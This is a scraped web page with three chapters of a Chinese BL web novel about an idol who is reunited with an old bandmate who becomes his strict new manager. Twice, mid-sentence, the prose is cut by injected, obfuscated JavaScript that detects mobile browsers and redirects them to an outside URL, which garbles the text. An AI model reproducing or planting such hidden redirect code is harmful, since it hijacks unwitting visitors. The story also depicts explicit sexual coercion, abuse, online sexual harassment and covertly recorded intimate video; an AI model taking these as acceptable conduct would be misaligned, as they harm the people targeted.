《我家心肝不辱怎追》 2. 念念不忘(二) “姜先生,请你从地上起来,被人看见了我怕说不清楚。我还不想刚入职就背上疑似霸凌艺人的罪名。” 男人松开了姜凝安,后退一步,挡在卫生间的门口。日光灯冷幽幽从他身后照入,于是他的身体边缘呈现出一种虚幻的毛圈,铁灰色的西装似乎有了金属质感,衬得那张棱角分明、充满男性气息的脸庞如同雕像,投下的影子几乎笼罩了姜凝安整个人。 姜凝安一眼也不肯移开。他从男人微蹙的眉头开始,一点一点,细细描摹,恍惚之间,眼前这张成熟的男性面孔,逐渐与多年前那个微微笑着的男大学生重合。 “我在做梦吗?”姜凝安摇摇头,似乎想要把自己晃醒,可一睁眼,男人还在面前,微微皱着眉,居高临下看着他。 男人说:“你吐得神志不清了?” 姜凝安闻言睁大了双眼,他跪在地上,一只手扯着男人的裤脚,白色衬衫前襟湿了一大片,隐隐透出下面淡色的肌肤,身体很瘦,瘦出了肋骨,领口的扣子开了最上面的一颗,露出一截深邃的锁骨。 男人只看了一眼,移开了视线,收回被扯裤脚的那条腿,毫不留情,扯过姜凝安险些摔倒。男人转过身,对地上的姜凝安说:“我是新来的经纪人,接手李霞前辈的工作,姜先生,麻烦你快一点回到会议室,我有些事要和你们交代。” 说罢,抬腿便走。 但他没走出几步,只听一声低泣,身体被人从背后抱住了。 “哥……我好想你……”姜凝安轻声说道,双臂紧紧抱着男人的腰,泪流满面。鼻尖尽是他熟悉的味道,十年了,舒垣还在抽芙蓉王吗?对于舒垣的一切,他是那么的了然于心,无论是失眠时强迫自己闭上眼,或是和陌生男人上床,每每眼前发黑的那刻,他总会在黑暗的尽头看见舒垣的身影。舒垣背对着他,手里夹着一根烟,背影坚硬而沉默。 他试图追上那个背影,就像曾经做过无数次的那样,舒垣在前面走,他背着吉他跟在后面,四周是沉寂的都市高楼,他跟着他,就像流浪猫跟着投喂自己的好心人,期盼那个人能捡自己回家。如果舒垣停下脚步,他会大步冲上去,从背后紧紧抱住,说,哥,我不想走路了,你背我回家吧。 男人身子僵硬了一下,旋即扣住姜凝安的手,将人狠狠甩开。姜凝安踉跄两步,险些摔倒,满脸委屈看着男人,长长的睫毛上挂满了泪珠。 这本该是令人无法拒绝的神情,可男人只是拍了拍衣服,脸上闪过一丝厌恶,冷冷说:“请姜先生自重。”旋即转身离去。 姜凝安都不知道自己是怎么走回会议室的。他跟在男人的身后,梦游一般,眼前不断闪现多年前的画面,直至男人打开会议室的门,里头的喧哗声顿时淹没了姜凝安,一瞬之间,恍如隔世。 自己究竟在干什么…… 不过是舒垣回来了而已。 姜凝安的大脑终于恢复了片刻理智,他匆匆看向几个队友,魏嘉杰盯着不认识的男人一脸疑惑,陈俊远低着头在摆弄手机,黄元维在发呆,只有老幺楚月站了起来,一脸担忧问:“姜哥,你是不舒服吗?脸色好差。” 姜凝安勉强笑笑:“胃有点不舒服,刚刚去厕所吐了一下。”说着,眼睛又禁不住瞟向男人的背影,脑子嘎达一声,再次断线。 不行。 好丢人。 赶紧找个位置坐下。 不过是舒垣回来了而已。 有什么值得大惊小怪的? “姜哥……哥……你没事吧?要不要叫医生?你最近压力好大,总是吐……”楚月凑过来扶住他,在他耳边低声说道。 魏嘉杰也发现了他的不对劲,赶紧拉开一张椅子,一边让他坐,一边絮叨说:“你又犯胃病了?我真服了,能不能让人省点心……” 姜凝安移开目光,大脑重新搭上了线。他试图变回平常那幅吊儿郎当的模样,把沾了水的头发往后梳,露出光洁的额头,几滴水珠从下巴尖沿着脖颈向下滑动,隐约可见冷白肌肤下纤细的青筋,脖子的线条紧致修长,加之疲惫虚弱的表情,整个人透着一股病态的脆弱气息。 男人正在和霞姐交谈,没分一个眼神给他。 姜凝安忽然觉得自己蠢透了。 他到底在期待什么? 有人是瞎子,但不代表别人是瞎子,工作人员和队友们连忙对他嘘寒问暖,取了胃药倒了热水,哄着他吃下。姜凝安总算找回了一点思考能力,从纷乱的脑海里提取出一个问题:舒垣为什么要回来? 毕竟当年舒垣走得决绝,没给他留下任何一丝念想。这些年,他知道舒垣在韩国,偶尔有假期,他会混在首尔街头,漫无目的地游荡,期盼与舒垣重逢在茫茫人海之中。 “姜哥,那个人是谁?”陈俊远凑了上来,手悄悄扶着他的肩膀。 姜凝安淡定道:“听说是新经纪人。” 很好,非常有风度,就这么保持下去。 他给自己打气。 刚打完气,舒垣回了头。 姜凝安又有点神志不清了。 舒垣一只手撑着会议桌,另一只手滑动多媒体上的PPT,一份个人介绍缓缓出现在众人面前。 “Novae的各位艺人,以及在场的大家,你们好,我的名字是舒垣……”舒垣不紧不慢介绍着自己,自始至终,面无表情。 一份还算优秀的履历,作为华人,却在韩国带过多个一线男团,参与制作的歌曲多次进入年榜前三。不过在韩国待了将近十年,舒垣的打扮却更偏向国内的精英男,头发很短,显得人十分利落专业。 魏嘉杰打一眼就不喜欢这个充满攻击性的男人,便出声道:“舒先生,烦请我打断一下,您的履历非常漂亮,但kpop的偶像工业和国内还是有很大差别的,您确定没问题吗?委实说,我并不敢……信任您。” 说白了,国内的经纪人更类似于保姆。 霞姐就是十分温和的保姆型经纪人,这十年一直护着他们,有资源就给,没资源就争取,在团队概念和风格上却没怎么插手。 舒垣听了他的话,倒也不生气,只是淡淡一点头,正要回答,突然一个微哑的声音横插进来:“哥……舒先生他……很厉害的……” 是姜凝安。 会议室里的所有人一齐看向他。 楚月小声问:“姜哥,你和舒经纪……认识吗?” 姜凝安暗道糟糕,只能硬着头皮搪塞说:“舒先生参与制作的歌我都听过,印象中蛮好的,我很喜欢。” 舒垣低下头,嘴角微微抽动,说了一句:“能被姜老师赏识,是我的荣幸。” 姜凝安觉得自己的魂有点飘了。 一旁的魏嘉杰和楚月都是心细的人,团中他俩和姜凝安走得最近,当即对视一眼,又看向姜凝安,看见这人的耳垂微微泛红。 不对劲。 这种不对劲甚至延长到了整个会议,三个小时的会议,姜凝安没有闹脾气,没有睡觉,没有玩手机,乖乖坐在座位上,垂着眼睛,认真听新经纪人的工作安排。咖位大的一般脾气也大,工作人员都是能哄就哄,况且比起动不动打人缺席的艺人,姜凝安的脾气已经算相当好哄的那一批了,勉强可以归结为天才的怪癖,只是一旦传到网上,难免有人说他爱耍大牌。 直到下午五点多,舒垣才讲到了最后:“另外,我想通知大家一件事。公司上层对十周年专辑的销量并不满意,原先预计冲击首周全球千万销量,但很可惜,不仅未达目标,且乐评不佳,网络舆论风向很危险。但并非没有挽回的机会,下个月即将开始的十周年巡回舞台,我们还可以在舞台编曲、编舞下功夫,希望大家不要气馁,争取一个好成绩,不然资源很可能往新团倾斜。” 即便芮新做大做强就是靠着Novae,但偶像工业永远追逐最大的利益,老团的利益要榨取,新团的话题度要收割,一波又一波年轻人被推上舞台,偶像梦碎后再归于平庸,而这个世界上从来不缺有偶像梦的年轻人。 涉及Novae的未来,几个成员都严肃了一些。 舒垣接着说:“我不像李霞前辈,主要是当你们的保姆和行程安排人员。我比较严格,同时很可能参与进新曲的制作。现在是十周年新专巡回舞台的宣传期,我希望大家保持良好作息,在舞台上挽回口碑。祝我们合作愉快。” 此话一出,性格跳一点的陈俊远立马唉声叹气:“起不来啊真的起不来……再说了,我们的舞台都是晚上,把作息养好了,以后晚上十点一登台就困怎么办?” 舒垣说:“至少要保持七个小时的睡眠,我看过你们的体检报告,基本都有慢性病,养足精神了才能养好身体。” 这人跟机器人一样,一戳回答一下,一幅公事公办的模样,丝毫没有人情味,看得人直来气。一个不知从哪旮旯里找出来的经纪人,凭什么对他们指手画脚?再说了,霞姐走了……是不是公司想要放弃他们了? 不过,舒垣的要求对魏嘉杰倒是不算什么,对一向听话的楚月、黄元维更是没问题,唯一麻烦的是陈俊远和姜凝安。要是这俩祖宗闹起来,明天说不定舒垣就要打包走人。 一个爱打游戏脾气暴躁,一个……私生活混乱,常常写歌到凌晨,然后找男人打泡,直到早上九点才入睡。 陈俊远抱怨了几句,似乎对舒垣相当不服气。而姜凝安则在座位上一动不动。过了许久,他才小小声说:“嗯,我都听你的。” 队友们面面相觑,共事多年,头一次见此人如此听话乖巧,没有甩脸色,没有打哈哈,更没有说怪话,只是状态有些萎靡。 既然姜凝安都表态了,那事情就勉强定了下来。陈俊远翻了个白眼,也不说话了。 …… 魏嘉杰直觉姜凝安不对劲。晚上练舞的时候,他几次三番想和姜凝安搭话,可这人跟聋了似的,耳朵里只听得见伴奏,一个劲地练舞。 Novae的舞担是楚月,正儿八经的舞蹈生,参与编舞。当然,姜凝安的舞蹈也不差,继承了芭蕾舞蹈家母亲修长的肢体,身材偏瘦但经常锻炼核心,跳高难度的舞蹈也不落下风。 没找到时机,魏嘉杰打算回宿舍问,结果一回宿舍,姜凝安连个人影也见不着,问了一圈,估计是回都没回。 这人真是…… 魏嘉杰一阵心累。 中午才说过宣传期不乱搞,晚上又按耐不住想找男人了。 他无意打扰队友的私生活,也不太想撞见那种场面,干脆躺回了床上,打算把手机上那些乱七八糟的论坛和社交软件卸载了。 手指长按那个黑色app,没按出卸载的弹窗,又一不小心点进去了,入目便是许多粗俗的话语。 也是神奇,这app日活不低,平均下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523234|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每天也有两三百人。魏嘉杰无法形容这种感受,一想到每天至少有两三百个极端男粉在yy队友,他就忍不住头疼。 但人的窥私欲无法克制。 【每日闲聊贴:什么都不禁,注意花名,请勿截图外传】 3L:【动图】好喜欢这个综艺,我姜总吃瘪,一吃瘪就露出绿茶白莲花小表情,好想扇好想掐好想狠狠玩弄……啥时候再上综艺,这个小表表故意装出善解人意的模样实在太令人手痒了,台前贵公子台后二世祖这一块,变如脸这一块 4L:趴在瑜伽球上干嘛呢,下半身一直抖。 5L:我在后面发力中。 魏嘉杰想,无聊。 继续往下翻。 65L:新人报道,总算通过审核了,想问问兄弟们一个比较严肃的问题,姜姜的黑料哪些是真的哪些是假的?他应该是处女吧[哭] 66L:你姜都要被玩黑了还处女。 67L:只有你愿意相信,姜姜就是你的白月光处子女神[爱心]毕竟出来卖的都会骗小处男洗洗还是处嘛 68L:笑得你姜大腿都夹不稳了。 69L:[心碎][心碎][心碎] 魏嘉杰想,确实如此,私生活要是不那么乱就是个完美的人了。 83L:说起你姜乱搞,之前有芮新的员工在我们这儿爆料,说你姜在休息室睡芮新某副总,还十分主动,扫得很,也不知是真是假。 84L:是的,我就是那个副总裁,我作证。 85L:那个一看就是小处男煮饭啊,忍不住幻想自己是芮新高层美美睡你姜啊,估计是一边写一边录的,味太冲。 等等。 魏嘉杰皱起眉。 这件事…… 他蓦然想起几个月前,他要去找姜凝安,却被陈俊远拦在走廊上。那时陈俊远一脸暧昧,对着他挤眉弄眼,轻声说,姜凝安和郭总在休息室那个呢,你晚上再找他吧。 不对劲,陈俊远也不对劲! 魏嘉杰眉头紧锁,一个翻身坐起,手指一滑,看到了更加令他不安的消息。 156L:小道消息,霞走了,换了个男经纪人,姓舒。 157L:姓舒?不认识。 158L:三十岁左右,还挺帅。 159L:你姜看了岂不是痒痒的? 160L:真的姓舒?我草,我记得考古你姜高中搞乐队的时候,和他关系很好的键盘手就姓舒!不过狗芮又在干什么,突然换经纪人,还是个不懂从哪里来的……是想放弃N团了? 161L:好事啊!我姜终于能单飞了!恭祝姜帝大卖,我第一个去品尝[窃笑] …… “哔——” 舒垣坐在车里,不耐烦按了按喇叭。 车前站着一个人,很瘦,戴着口罩,只露出一双漂亮又可怜的桃花眼。 舒垣把头探出车窗,冷声道:“你是想被撞死吗?” 姜凝安摇头,说:“哥,你听我说几句话好不好。” 舒垣皱眉,问:“你想说什么?” 姜凝安上前几步,拉开了副驾驶的车门。令他意外的是,车门没上锁,舒垣坐在驾驶位,直视前方。 他赶紧上了车,正襟危坐,时不时侧头瞥一眼舒垣,轻声说:“哥,没有你管,这些年我连睡觉也不会,不知道晚上要几点睡,早上又要几点起……没有哥的我就是个废物……哥,你带我回家好不好,你教我几点睡觉,穿什么衣服,用什么牙刷……我什么都听你的。” 舒垣沉默了很久。 “姜凝安,我以为当年我把话说得足够清楚了。” 姜凝安一愣。 “我说,我喜欢女人,只把你当成弟弟,我不喜欢你,也不在乎你又和谁上了床。十年过去了,你还没有长大吗?现在也还是一样,我是经纪人,你是艺人,我们是工作关系……请你不要再纠缠了。” “你骗人。” 姜凝安说。 “我当时亲你的时候,你是清醒的吧?你还起反应了,是不是?” 他完全不顾两个人还在车里,随时有可能被狗仔拍到,直接欺身而上,跨坐在舒垣腿上,眼睛里迸发出一丝奇异的光。舒垣当即皱起眉,要把他从自己身上推开。但姜凝安发起疯来十头牛也拉不住,黏在舒垣身上怎么甩也甩不掉。 舒垣冷斥道:“下车!姜凝安,你忘记自己的身份了吗?被人拍到了怎么办?你身上的争议还不够多吗?” 姜凝安搂着他的脖子,吧唧亲了一口舒垣的脸颊,随后轻轻笑说:“那就拍呗,这样全世界都知道我是你的了……哥,你试一试嘛,你想怎么弄我都可以,我的身体、大脑……任何一样东西,全是你的所有物。你知道吗,我和任何一个男人上床,到最后都会把他幻想成你才能到达那个地方。你就试一下嘛,好不好?” 说着,他摸到舒垣的皮带,修长的手指一拉一扯,又听得撕拉一声,拉开了男人的裤链。他举起右手,靠在嘴边比了个下流的手势,伸出一点嫣红的舌头,眼角泛着淡红,停车场昏暗的光落在他琥珀色的眼眸里,一片浪荡。 “我的技术很好哦,哥,你最清楚了,以前我和别的男人上床的时候,你总是来接我,你一定都听到了吧……” 舒垣忍无可忍勒令道:“下车!” 3. 念念不忘(三) 舒垣僵在驾驶座上,脸颊还沾着姜凝安的口水。车里空间狭小,他和姜凝安两个大男人挤在一起,呼吸相闻。 姜凝安身上有一股说不清的香水味,混着消毒水的气味,有些刺鼻。这个姿势能感受到姜凝安温凉的肌肤,浅棕色的发尾勾着小而尖的下巴,那颗小痣若隐若现,而下面的领口大开,能看得见里面两粒淡粉色的皮肉,以及柔软的、纤瘦的腰肢。 从来都是这样,姜凝安像一阵飓风,不在意任何一个人的死活,以摧枯拉朽之势,铺天盖地,摧毁身边的一切,甚至毁了别人的人生也毫无知觉。 怒从心起,连带着舒垣的右手隐隐作痛。那里有一道旧伤,腱鞘炎,拖了很久,越拖越重,等到治疗的时候,已经为时已晚。 想到某些往事,舒垣的右手骤然发力,猛地一推身上的人,姜凝安猝不及防,直直向后栽倒,头重重撞在车门上。 哐当一声巨响。 姜凝安疼得耳鸣不止,勉勉强强睁开一点的眼睛,看见舒垣脸上闪过一丝紧张,伸出了手,似乎想要拉住他。 好疼…… 但姜凝安喜欢疼痛,圈子里太多的玩法,大多无法令他感到由衷的愉悦。疼痛是为数不多让他沉迷的感受,男人弄得他越疼,似乎就越在意他。 “你其实还是很在乎我吧?” 姜凝安捂着后脑勺,声音嘶哑说道。 “如果你心里没有鬼,为什么要推开我呢?我一直都清楚,我就是个烂货,没有心的烂人,和谁都能上床,但哥是不一样的……我是真的爱你,只要你说一句不喜欢我和别人上床,我就再也不会乱搞了,我只给你……” 舒垣闭上眼睛,缓缓向后靠着车门,右手烦躁地按揉眉心。他确实不是毫无感觉,但这种感觉令他恶心,既恶心又上头,倘若不推开姜凝安,他也不清楚自己能坚持多久。 “这些年哥不在身边,没有人来救我,他们有些人有权力有关系,用皮带抽我、用烟头烫我……把我捆起来……我无法反抗。所以我常常想,如果哥还在就好了,哥一定不会让我被欺负……” 姜凝安语气可怜死了,一边哭诉,嗓音黏黏糊糊的,像做错事的小孩,一边又在偷偷观察舒垣。他不清楚舒垣现在吃哪一套,撒娇?黏人?还是疏远?姜凝安决定都试一遍,直到舒垣心软。 这些事,都是真的,那群人爱玩点大的,但姜凝安也并非全然无辜,他甚至乐在其中,最爱找那些有家有室的成功男人上床,其中不乏一些人癖好过激,姜凝安和他们一拍即合。有一次差点玩脱了,他的右眼被打紫了,第二天的活动只能戴眼罩,因祸得福,虐了一波粉,还贡献了经典红毯生图。 他享受这种背德感。普通的男人已经无法满足他了,他们无聊又贫穷,既给不了他想要的刺激,也给不了他想要的资源。他最爱做的就是事后偷拍男人的床照,给他们的爱人发过去,然后一遍又一遍逼问那些男人,是你的原配重要,还是我重要? 他不怕事情泄露,更无所谓身败名裂,他只是厌倦了一切,引以为傲的音乐才华在流失,他找不到方向,于是渴望有一天把自己亲手终结。但那些人却总能稳住原配,甚至变本加厉地捧姜凝安,姜凝安意识到自己不过是他们众多情人之一,顿觉无聊,只能不断地换男人。 但舒垣不一样。 他想要完全占有舒垣。 也想要舒垣完全支配自己。 在遇见舒垣之前,他漫无目的地活着,音乐和性都是他的本能,既不明白世界上为什么会有爱情的存在,也不明白为什么人会长出一颗心,而这颗心会跳动、会雀跃、会爱一个人爱到无法自拔。 好疼。 这下疼的是胃。 姜凝安这才想起自己晚上什么都没吃。 他一直在练舞,脑子里全是舒垣的事,杂乱无章,一出舞蹈室,就追了下来,挡在舒垣的车的前面。 一旁的舒垣已是面无表情,摇开了车窗,嘴里叼了一只烟,点燃打火机,火光一闪而过,映得他半张脸通红,随后烟雾缭绕。 姜凝安小小声说:“抽烟对身体不好。” 舒垣把夹着烟的手搭在车窗上,不再看姜凝安,只是平视前方,说:“如果我把你随便送到某个男人的床上呢?” 姜凝安懵了,胃疼,头疼,他没反应过来舒垣到底在说什么。 舒垣说完,扭头看了姜凝安一眼,竟然笑了,眼睛半眯着,说道:“开个玩笑而已,我对你的事没兴趣——你是不是又犯胃病了?” 姜凝安立马乖了,耳垂不受控制红了,他的刘海很长,遮住了一半的脸,而脸皮的红却怎么也遮掩不住。如果他有尾巴,现在肯定高高翘了起来,巴不得缠上舒垣的手腕。他捂着肚子,蜷缩在副驾驶座上,一米八的个子,因为太瘦了,竟然显得很小一只,声音也很轻很软:“嗯,很疼,最近老是疼。” 舒垣发动了车子,说:“我带你去医院吧。” 姜凝安连忙点头:“好,哥带我去医院!” 苦肉计果然有用啊! 姜凝安用这招对舒垣简直屡试不爽,不论舒垣多嫌弃、不耐烦,只要他露出一点点难受的表情,态度又立马缓了下来,马不停蹄带他看医生。 这说明舒垣很在乎他。 一定很在乎。 今天在男厕的时候,舒垣也很难受吧? 姜凝安越想越美滋滋,简直要把自己哄好了。他蜷缩在副驾驶座上,头忍不住贴上舒垣把持着换挡杆的右手,结果又被推开。 他不满意地哼哼两声。 舒垣推开这人的时候,指尖触到了柔软的脸颊,非常细腻的肌肤,酥麻感如同电流一般从指尖飞窜到整个身子,便连忙松开了手。他低下头,说:“我要开车。”却看见姜凝安笑眯眯的,头靠着储物箱,说:“哥,你裤链没拉。” 这人说完,还故意吐了吐舌头。 嫣红的一点舌尖,很柔软,很潮湿,给人一种想要狠狠捏住外扯、看他惊慌失措发出呜呜哭声的隐秘想法。 舒垣皱起眉,猛地一停车,把裤链和皮带都整理好了。整理完毕,他却不急着继续开车,而是把一口没抽的烟熄灭了,丢进垃圾盒里,然后对姜凝安说:“坐好,把安全带系好。” 姜凝安忍着痛坐直身子,扯下安全带,试图低头扣好,却怎么也怼不上。他一脸无辜抬起头,泪汪汪看向舒垣,唤了一声:“哥……” 舒垣又想抽烟了。 姜凝安如今这幅又贱又婊的模样真让人恶心,给一点好脸色就巴巴往上凑,不检点,没边界感,恶心。 他接过姜凝安手里的安全带,咔哒一声,扣上了。姜凝安趁机偷偷蹭了蹭他的下巴,头发顺滑而柔软。 市人民医院离芮新大楼不远,不过五六分钟的路程,芮新和医院有合作,艺人招呼一声就能安排到人少的科室候诊。姜凝安全程都没有作妖,连经常给他看胃病的主任医师也大为惊奇,抽血化验,CT,一套一套做下来,又另外安排了胃镜的时间。 等结果的时候,姜凝安戴着口罩墨镜一个人坐在长椅上,而舒垣在楼梯间里打电话。过了一会儿,舒垣回来了,对他说:“已经有点胃溃疡了,再这样下去,恐怕要胃穿孔。” 姜凝安说:“嗯,我知道的。” 舒垣不再说话。 深夜的医院急诊科依然人来人往,和他们隔了几道墙,小孩的哭喊声、大人的呵斥声、老人卡痰的动静……回荡在苍白的走廊上。 “哥,你的手还疼吗?”姜凝安问。 舒垣说:“与你无关。” 姜凝安看了他一眼,垂下眼睫,伸出左手,要去碰他的右手:“怎么和我无关?如果不是为了我,你当年也不会……” 舒垣站了起来,眉头紧皱,倒出一根烟,说:“我去抽根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523235|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟。” 姜凝安拉住了他的手。 “也许……这也是我的惩罚吧。十年前,因为手伤和选秀节目,你离开了我,十年后,我的音乐也在离开我。医生告诉我,说胃是情绪器官,如果我的心理问题不解决,胃也很难调理好。我……我现在写不出歌了。可你回来了,舒垣,哥,帮帮我好吗?带我走出这个困境。” 名为创作的本能在消退。 姜凝安现在无比空虚。 与此同时,不远处有人举起了手机,把这一幕完整拍下。 …… 陈俊远靠着椅背,屏幕上是几张照片。 三年前的星光之夜生图,姜凝安那天右眼受伤了,戴了一只白色蕾丝的眼罩,白西装,头发难得染回了黑色,发上缠了好几重白蕾丝,衬得那张脸愈发精致苍白,像一尊满是蕾丝装饰的精美瓷偶。 当时这个造型很是轰动,更别说四个队友都是统一黑西装的造型,姜凝安如此与众不同,引得粉圈互骂了好几个月。互联网遗址陈俊远还保存着呢,那个帖子叫《姜帝和他的四个洗脚小弟——扒一扒姜凝安出道前夕抢C位全过程》。 他把生图从电脑转移到手机里,点开角落里的黑色app,挑了几张,发在每日灌水楼里。 215L:[图片][图片][图片]蒙眼罩这场很清纯哦[捂嘴] 216L:成绩差就成绩差呗,你姜早日和那帮洗脚小弟解绑不是好事吗?反正写不出歌了还有脸,无非是有才华的杯杯和花瓶杯杯的区别,说到底还是要给bro们使用的[美味] 217L:回215L,哪里清纯了?说不定是金主弄进眼睛里了睁不开,一身味遮都遮不住。 218L:眼胶很棒呦[窃笑] 219L:好烦啊,一上来就给我看表子啥意思?又扫又表又吃不到,不是在考验干部吗? 陈俊远看了几眼回复,不再理会,而是重新打开电脑,点开一段音频。是姜凝安去年九月某场巡演的solo,清唱了一首粤语歌,咬字有点搞笑,但胜在音准、声线独特,一首缠绵的情歌被他唱得格外温柔,眼睛里满是闪烁的荧光棒,台下的人喊得声嘶力竭。唱罢,这人对着所有观众单膝下跪,给了一个飞吻。 “你在看什么呢?” 一个声音冷不丁在他身后响起。 是楚月。 陈俊远摘下耳机,对楚月一挥手,笑着说:“找片呢。” 楚月也笑了:“你又拍到新的了?”和他平日里温和阳光的形象不同,这个笑容颇有几分阴郁。其实团里长得最阴柔的人是他,很多角度都会令人误以为是女孩子,个子也不算高,又排行老幺,团综里经常被队友迫害。 陈俊远轻哼一声:“哪有那么好拍?还是之前那个,他故意察觉到了,最近都不在公司里乱搞了。” 楚月只是笑笑,拉来一张椅子,坐下,盯着屏幕里的人,说:“真令人讨厌啊,什么都围着他转,努力了那么多年,提起团第一个冒出的还是他的名字。” 陈俊远吹了一声口哨。 楚月说:“看那个吧。” 陈俊远闻言忍不住骂道:“妈的,你想打能不能滚回你房间打,老子不是给你录像了吗?” 楚月很淡定:“每次我说到这个话题就很烦,恨不得掐死他,怎么会有人理所当然成这样?但如果他乖乖给我当几个月的小狗随便玩的话,说不定我能稍微原谅他一下。” 陈俊远很是无语,但手比脑子更加快速,当即打开了一个加密文件夹,里头只有一段三四个小时长的视频。 视频播放时,耳机里传来一阵压抑的动静。 楚月看得很认真,明明这段视频他看了不下十遍,姜凝安的神情他记得清清楚楚,但他还是目不转睛。 ………… “完全是一条小狗啊。” 楚月笑着点评道。 4. 真的爱你(一) 魏嘉杰先是去找姜凝安。 虽说已是大热男团,大家都赚得不少,但新专辑和巡演宣传期他们还是会住在一起,芮新不远处的高档小区,上下两层都是他们的宿舍。 姜凝安和他都住在楼上,不过这人常常夜不归宿,屋子里的东西不多,床上是浅灰色细格纹的四件套,堆了好几件衣服,西装外套、风衣、长裤,乱七八糟的。床头柜上摆着十几个药瓶药盒,还有一盒拆封了的套子。墙壁上挂了几把吉他,其中一把是某吉他大师定制款,夸张的天使造型,黑白渐变的配色,挂在略显凌乱的现代简约卧室里,有一种怪诞的美丽。 这就是姜凝安的卧室了,平时看了令人头大,一旦要拍什么“突击检查成员宿舍”的物料,此人又能在半个小时内收拾得干干净净。 魏嘉杰找不到人,只得关上门,打算下楼找陈俊远谈一谈。他是队长,管不了姜凝安,剩下的三个弟弟还是能管一管的。那个论坛给他的感觉很不妙,他不清楚陈俊远从哪里知道的,又在其中混了多久。 结果他一下楼,姜凝安就回来了。 提着大包小包的夜宵,身上还穿着今天在练舞室的那一套休闲衬衫和长裤,口罩挂在左耳上,和银链耳饰一起晃晃荡荡。 魏嘉杰问:“你去哪了?” 姜凝安心情很好,笑眯眯说:“去医院了,顺便买了一点夜宵回来,嘉杰哥,你把他们几个叫出来一起吃吧。” 大少爷一幅被人顺过毛的温情脉脉,还提了不少东西回来,魏嘉杰满肚子疑惑,但还是去敲几个弟弟的门了。离门口最近的就是陈俊远,他敲门的时候,听见里面传来一声“我草”,然后是一阵叮叮咚咚的动静。 “谁啊?”陈俊远打开门,探出头,看到是魏嘉杰,脸色微变,“是队长你啊……怎么了?” 魏嘉杰见里面没开灯,皱着眉头问:“你在里面干嘛呢?” 一个含笑的声音从陈俊远背后传来:“刚刚我和俊远哥打游戏呢,队长你突然敲门,吓我们一跳,还以为是那个姓舒的来查岗了。” ——是楚月。 楚月顺手打开了陈俊远房间的灯。他也是半长发,染成了粉色,脸长得十分柔和,此刻微微泛红,还蒙着一层薄汗。 “姜哥?!”楚月顶着魏嘉杰狐疑的目光,眼睛一瞥,就看见了客厅里的姜凝安,便兴致高涨地挥了挥手。 姜凝安正在摆盘,听见楚月的呼喊,他勾了勾手指,唇角微弯道:“我买了夜宵,阿月你过来吃点呗。” 楚月三步并两步,路过垃圾篓的时候,一直紧握的手松开了,丢下几个纸巾团,然后面带温和的微笑,帮着姜凝安摆东西。 四月底已经有小龙虾上市了,虽然还不算很肥。姜凝安买了好几种口味,还附带几盒三文鱼和蓝鳍金枪鱼大腹,以及啤酒。 在大部分时候只要哄好了姜凝安,他对谁都很大方,请客吃饭送奢侈品是常有的事,故而Novae这些年氛围还算不错,那些暗流隐藏在细节之下,字母站上的N学大师分析了十年,也没能触及这五个人真正的关系。 “姜哥你不吃么?”陈俊远一边开啤酒,一边转头问姜凝安。 姜凝安打了一个哈欠,瘫在沙发上,鼻音浓重说:“预约了明天的胃镜,啥也不能吃,你们吃吧。” “姜哥,注意身体。”楚月说。 姜凝安点点头。 过了一会儿,楚月又说:“好久没拍日常的集体照了,正好是宣传期,今晚上拍几张?到时候我问问公司能不能发微博。” 要拍照,还是素颜,几个人赶紧脱了手套收拾一番。不过生活照嘛,胜在日常轻松,N团的几个都不差。楚月举着自拍杆拍了一圈,最后停在姜凝安面前,对他说:“姜哥,我们来拍一张吧。” 姜凝安起身,和楚月的头靠在一起,还伸出手,故意捏了捏楚月的脸颊。楚月在他靠过来的刹那浑身都绷紧了,一手持自拍杆,另一只手搭在姜凝安的腰上,在按下的那一刻,楚月轻轻扣住了姜凝安的腰。 Novae_楚月V: 送别相伴多年的经纪人霞姐后,我们几个人都有点失落,晚上凝安哥就买了夜宵回来安慰我们,突然又不那么难过了[爱心]大家晚上吃了什么夜宵呢? [图片][图片][图片] 微博一发,立马上了热搜。 ——豆绿踏组—— 【热贴:妈呀楚月发微博了,老N全素颜出镜中,谁赢了谁输了?】 rt,其实每个人都很美很帅很萌,lz是老N全肯定。。。 ———— 13L:没话说了3799,请支持Novae双门面谢谢喵,这两张脸对我们安月姐十分友好[哭泣][哭泣][哭泣] 14L:双门面在哪? 15L:lz说是团粉实则心肝另有其人[捂嘴] 16L:如果单独拎出来都挺能打吧,但很可惜你姜帝秒了,妈生脸顶级骨相就是耐看啊,吊打某东亚换头男我不说是谁[挑眉] 17L:家产……家产……家产好萌……这个姜儿哥哥很爱逗弟弟[可怜]嗯嘟谁来给我吃一口安月“不再依赖哥哥就算长大了吗”的梗[要饭][要饭][要饭] 18L:姜帝的脸真牛啊。。。 19L:家姜从小美到大谢谢,多亏了家姜是小提琴王子,什么时候的照片都有,越长大越好看,某些整容男不要碰瓷谢谢。 …… 123L:老幺又做项目了吧。。。感觉和去年不是一张脸。。。不过他以前长得确实不好看。。。美商够,整成了大美人。。。 124L:呵呵姜婆天天就惦记拉踩队友,看看你家心肝的黑眼圈行不行,黑料最多天天乱搞的我不说是谁[捂嘴] 125L:我要是长了姜帝这张脸我也天天乱搞[美味] 126L:我受不了了牢大好像那个操碎心的老实男人,看着老婆和年轻情人亲亲热热,自己只能做一旁喝闷酒! 